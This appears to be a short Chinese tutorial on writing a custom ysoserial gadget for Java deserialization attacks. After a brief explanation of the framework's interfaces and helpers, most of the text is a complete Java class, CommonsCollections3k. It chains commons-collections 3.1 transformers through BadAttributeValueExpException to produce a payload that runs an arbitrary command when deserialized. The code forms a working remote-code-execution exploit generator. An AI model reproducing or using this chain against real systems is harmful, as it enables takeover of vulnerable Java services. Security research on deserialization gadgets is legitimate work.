如何在 ysoerial 上编写你自己的 Gadget 呢?
简单分析一下,主入口需要接收两个参数,第一个参数是类名,第二个参数是执行命令。
类需要实现 ObjectPayload 接口中的 getObject 方法,返回一个泛型对象。这个对象就是需要被序列化的
然后这个类需要有这个注解
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
实现的类也可以继承 PayloadRunner 然后就可以在 Main 方法中传入
PayloadRunner.run(CommonsCollections7.class, args);
进行序列化和反序列化操作,其中 args 是要执行的命令,默认是 calc
想要创建 createTemplatesImpl 可以利用 ysoserial.payloads.util
的 Gadgets
想要做反射操作可以借助 ysoserial.payloads.util.Reflections
类
像这样,我很快的编写出了一个 Gadget:
package ysoserial.payloads;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.transformer.TrAXFilter;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;
/**
* @author Shule
* CreateTime: 2023/10/22 14:08
*/
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SHULE})
public class CommonsCollections3k extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
@Override
public BadAttributeValueExpException getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, instantiateTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
Reflections.setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
return badAttributeValueExpException;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3k.class,args);
}
}